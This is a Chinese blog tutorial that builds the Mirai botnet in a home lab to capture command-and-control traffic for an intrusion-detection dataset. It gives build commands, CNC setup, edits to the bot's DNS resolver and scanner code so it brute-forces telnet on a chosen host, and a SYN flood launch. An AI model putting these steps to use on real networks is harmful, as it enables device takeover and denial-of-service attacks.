DDOS:Kali下Mirai僵尸病毒的编译使用及抓包

是为了做NIDS啦,网上都找不到Mirai公开的数据集,所以没办法只能自己抓了

主要参考

G.O.A.T!最靠谱的Mirai僵尸病毒编译教程
博客园Mirai搭建及使用
Anna-senpai帖子翻译与Mirai源代码使用
原作者教程
原作者教程2
Mirai源码编译
Mirai使用与攻击

源码分析1
源码分析2
源码分析3

1. 编译

为了方便抓包,我直接在有Wireshark的Kali上搭的环境

1.1 安装依赖

安装 gcc、git、electric-fence

apt-get update
apt-get install gcc git electric-fence

mysql 我以前安过,不再赘述
安装golang
迅雷大法好
在这里插入图片描述

搭建go开发环境

开始安的1.8.1版本的,最后一步go get时报错了,只能重安
要先卸载
卸载
Kali Linux下go语言环境搭建
官网1.14.1版本下载

1.2 克隆源码

git clone https://github.com/jgamblin/Mirai-Source-Code

1.3 编译加密程序

cd mirai/tools && gcc enc.c -o enc.out

1.4 加密主控服务器域名和报告服务器域名

./enc.out string cnc.wuming.com
./enc.out string report.wuming.com

执行后会返回一串HEX数据,和xx bytes,稍后会用到
不执行也可以,直接使用默认的

cnc.changeme.com
report.changeme.com

然后修改病毒本体源码

vim ../bot/table.c

原文件18到21行如下
在这里插入图片描述
如果想修改的话就把上面输出的四个参数分别替换掉

1.5 配置CNC控制中心

用一个数据库记录使用过的命令、能被操控的僵尸数量等

1.5.1 编辑sql脚本

cd ../../scripts
vim db.sql

在第一行后插入

use mirai;

在这里插入图片描述

1.5.2 执行sql脚本

执行

service mysql start   //启动Mysql 服务
cat db.sql | mysql -u root -p

创建CNC用户 mirai_user,即在数据库mirai的users表中增加一行记录
注意别的教程此处可能用的是mirai-user,我比较喜欢下划线mirai_user

mysql -u root -p
use mirai
INSERT INTO users VALUES (NULL, 'mirai_user', 'mirai_pass', 0, 0, 0, 0, -1, 1, 30, '');   //添加的用户
exit   //退出

1.5.3 修改CNC服务器主程序

vi ../mirai/cnc/main.go

User和Pass 改为root的用户名和密码
在这里插入图片描述

1.6 交叉编译

为啥要交叉编译,就是因为这个病毒其实最后编译出来有好多的版本,包括以arm为后缀的,以dbg为后缀的,以mips为后缀的,适应了各种各样的环境。但是这些环境上并不具备编译出这些病毒文件的能力,所以我们就在自己的电脑上先给它把这些版本一次都编译出来,到时候比如要感染arm架构的设备,我直接就把以arm后缀为结尾的病毒本体想办法传送过去就OK了
————————————————
版权声明:本文为CSDN博主「weixin_42652850」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42652850/article/details/104889173

cd .. && mkdir cross-compile-bin
cd cross-compile-bin
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

或者迅雷大法好

https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
cd ../scripts
./compile-cross.sh

在这里插入图片描述输入n,因为已经安装过了

1.7 添加环境变量

vim ~/.bashrc

添加如下内容

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go

注意$和PATH之间没有空格
如果你看了别人的添加了空格进去
然后执行了source命令
这时当前终端很可能会出现无法执行基本命令的情况
因为.bashrc这个文件里有错误
这时新开一个终端,修改回去就行了

刷新一下

mkdir ~/go
source ~/.bashrc

1.8 构建受控端和主控端程序

由于源码默认在 debug 模式中关闭了 scanner 功能,将bot/main.c 中158行和162行注释后即可运行。
在这里插入图片描述
还记得1.4中修改的tables.c嘛
如果没修改的话,CNC域名应该是cnc.changeme.com
那别的bot怎么才能知道这个域名对应的就是攻击机的ip呢

bot通过table.c设置的域名来寻找CNC服务器。其中解析域名的功能由resolv.c实现,该文件84行硬编码了DNS服务器的地址:

addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);

因此,如果本地搭建环境,或者bot处于AP内网,需要修改IP为本地DNS服务器的IP,然后由本地DNS服务器对此域名作解析为对应IP。
所以需要搭建一个DNS服务器
服务器运维:CentOS 7下搭建DNS服务器
(而稍后这个DNS服务器会被用作第一个bot)
然后把resolv.c中的地址换成DNS服务器的地址

addr.sin_addr.s_addr = INET_ADDR(192,168,1,42);

在这里插入图片描述

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd ../mirai
./build.sh debug telnet

如果执行build脚本的时候报比如找不到mips-gcc等等,但是你确定你安装了
并且也添加到~/.bashrc里了,执行

source ~/.bashrc

再刷新一下
最后正常build结束应该有如下十个文件
在这里插入图片描述
然后还需要一些小调整
因为cnc的启动调用的是debug/cnc,但是源码里读取文件写的是绝对路径prompt.txt
图源 博客园
在这里插入图片描述
所以需要拷贝一份prompt.txt到debug目录下
进入mirai目录后

cp prompt.txt debug/

1.9 构建Loader

cd ../loader
./build.sh

有几个警告无伤大雅

2. 使用

2.1 基础知识

2.1.1 流程图

图源1
图源2
在这里插入图片描述
在这里插入图片描述

2.1.2 名词解释

  • Loader:第一个bot,通过别的手段获得此肉鸡的shell,然后在第一个肉鸡上发起telnet爆破,感染其他主机。第一个bot需要配置DNS服务,以后新抓的鸡都会通过Loader报告给攻击机

  • CNC服务器:Command and Control Server,命令和控制服务器

  • bot:肉鸡,可进行telnet爆破(再传播)和发起DDOS

  • dlr:肉鸡不能使用tftp和wget时会执行dlr,然后使用socket从目标IP(文件服务器)下载Mirai病毒

2.2 攻击流程

2.2.1 环境

攻击机Kali(192.168.1.10)作CNC和Loader,靶机A(192.168.1.42)作为第一个被感染的设备(Loader),并且自己搭了DNS服务器解析CNC域名和报告服务器域名到Kali,靶机B(192.168.1.34)作为telnet弱口令设备。都处于同一网段下

靶机A需要搭建DNS服务器
服务器运维:CentOS 7下搭建DNS服务器

靶机B需要搭建telnet服务器
服务器运维:CentOS 7下搭建telnet服务器
靶机B的弱口令

admin:password

2.2.2 启动CNC服务器

Kali进入mirai目录下

在这里插入图片描述执行

go build -o debug/cnc cnc/*.go

然后

./debug/cnc

在这里插入图片描述

2.2.3 连接CNC服务器

telnet 127.0.0.1 23

然后直接回车
输入mirai_user和mirai_pass

在这里插入图片描述
然后我这一直报这个错误
在这里插入图片描述检查一下旧shell
在这里插入图片描述估计是因为Kali的mysql用任意密码都能登录,所以调用main.go时传入了密码参数报错了
在这里插入图片描述
有两个解决办法
第一种:
修改root的密码

GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;

然后刷新

FLUSH PRIVILEGES;

退出后就需要密码登录了
第二种:
新建一个用户mirai,然后把main.go中的参数替换成mirai和它的密码
我用的是第一种,因为看别的教程都是root账户,暂时不知道有没有影响

如果修改了main.go
重新build一下

go build -o debug/cnc cnc/*.go

然后

./debug/cnc

输入用户名mirai_user,密码mirai_pass
这次可以正常登录了
在这里插入图片描述
注意shell最上面显示的 0 Bots Connected,表示当前有0个bot

2.2.4 启动对Loader的监听器

还是Kali下

cd mirai/debug

别的系统可能需要sudo,Kali不需要的

./scanListen

执行

netstat -lput

可以看到48101已经处于监听状态了

在这里插入图片描述

2.2.5 Loader连接CNC

靶机A(192.168.1.42)

把Kali编译好的mirai文件夹拷贝过去
在这里插入图片描述

靶机A作为第一个bot,需要解析
cnc.changeme.com和report.changeme.com
于是我在靶机A上搭了DNS服务器,让resolv.c解析域名时向本地的DNS服务器发出请求
然后就找到了Kali的IP:192.168.1.10

这时在靶机A上进入mirai/debug
然后

sudo ./miria.dbg

一定要管理员权限运行,否则会出现无法创建原始套接字raw sock

在这里插入图片描述一定要看到把 cnc.changeme.com解析到了一个IPv4地址才行,否则就调试你的DNS服务器。
然后切回Kali可以看到,此时已经有一个bot连接了

在这里插入图片描述

2.2.6 肉鸡执行telnet爆破

因为1.8中已经开启了scanner功能,所以靶机A执行./mirai.dbg时自动开始telnet爆破
在这里插入图片描述在Kali上可以用wireshark抓包,后面再讲
在这里插入图片描述如果scanner成功抓鸡,则会调用resolv.c连接 report.changeme.com,还是由本地DNS服务器解析到Kali的IP,然后被抓鸡的信息会通过report模块发送到Kali的48101端口,即scanListen监听的端口。
信息的格式为ip:port username:password
在这里插入图片描述当然,因为上面所说的所有环境都是在内网下搭建的,就算抓到了外网的鸡也不能传播Mirai。
真想玩的话搞两个服务器就好了

2.2.6 内网抓鸡

建议这一段不要看一步做一步,而是先通读完再做,因为我也踩了不少坑

先看一下源码的IP扫描吧 mirai/bot/scanner.c 674行起

static ipv4_t get_random_ip(void)
{   
	// 32位无符号整型
    uint32_t tmp;
    // 4个8位的无符号整型
    uint8_t o1, o2, o3, o4;

    do
    {
        // 产生一个随机数
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
}

源码中
用了一个do-while循环,如果是产生了注释里如 127打头的IP地址,就继续循环,直到出现了非注释里的IP为止,然后调用INET_ADDR把这个IPv4地址返回。
即每调用一次get_random_ip就返回一个外网IPv4

修改:
o1到o4分别设为靶机B的IPv4地址的四部分,把do-while循环注释掉

static ipv4_t get_random_ip(void)
{
    uint32_t tmp;
    uint8_t o1=192, o2=168, o3=1, o4=34;
/*
    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );
*/
    return INET_ADDR(o1, o2, o3, o4);
}

不过这样的话应该会对靶机B产生巨大的流量,因为每次scan都是对着靶机B…先不管了
修改以后重新编译一下

./build.sh debug telnet

然后把新生成的mirai文件夹拷到靶机A上,覆盖掉原来的文件夹
靶机A上把原来的终端关闭,重新进入mirai/debug并执行

sudo ./mirai.dbg

这时可以看到
靶机A只对靶机B进行telnet爆破
还要注意的是
如果扫描的IP有回应,才会正式建立连接,也就是说,因为现在只扫靶机B,如果靶机B不回应的话,靶机A那边是没有显示的,我在这踩坑了,一直在改源码,以为是代码问题。

在这里插入图片描述
果然这样流量太大了,不知道多少个线程爆破一台主机…所以就算试到了正确的密码,telnet连接也会被中断…
在这里插入图片描述在这里插入图片描述
再次修改

static ipv4_t get_random_ip(void)
{	
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;

    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(192, 168, o3, 34);
}

开始一直在改多线程,准备加sleep,但是看了一圈没看懂,我C太菜了。
于是取巧了一下,把生成随机IP的函数改为三个固定,一个不固定的
因为怕生成192.168.1.10正好是攻击机IP,所以最后一个也写成固定的34了
这次好多了…

在这里插入图片描述

抓鸡先停一段时间,出了些bug

2.2.7 CNC控制bot发起DDOS

简单回顾一下前面的流程

启动CNC服务器
攻击机telnet自己,连接CNC
Loader的监听器不需要了,因为不抓鸡了
bot连接CNC

现在,你的攻击机上应该显示有一个bot连接
打开作为CNC的终端
在这里插入图片描述
输入一个?查看攻击指令,?相当于占位符
在这里插入图片描述
注意syn?中间有个空格
在这里插入图片描述
在这里插入图片描述
这时切到bot,可以看到收到了一条攻击指令
在这里插入图片描述
而在wireshark中也抓到了一个SYN泛洪的典型数据包

在这里插入图片描述
因为是debug模式,所以只会发一个泛洪包进行测试,想干坏事的就自己研究吧hhhh,我不写了。

3.抓包

Wireshark基本介绍和学习TCP三次握手
Wireshark图解教程(简介、抓包、过滤器)

我需要的是CNC和僵尸机之间通信的流量,所以直接用上文的靶机A作为一台被感染的bot,主要分析bot接收CNC的命令和以及反馈的过程。
因为不需要再感染其他主机了,所以把1.8中scanner功能关闭,然后重新

./build.sh debug telnet

拷贝、执行

再说明一下IP

攻击机:192.168.1.10
靶机A:192.168.1.42

捕获过滤器设为

(src 192.168.1.42 and dst 192.168.1.10) or (src 192.168.1.10 and dst 192.168.1.42)

抓取CNC和bot之间的流量,然后导出,我保存到json里了。
在这里插入图片描述

接下来就可以用数据集做数据分析和机器学习了。

等过一段时间这些dataset与我利益无关了就会上传到GayHub,欢迎关注,先不贴链接了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章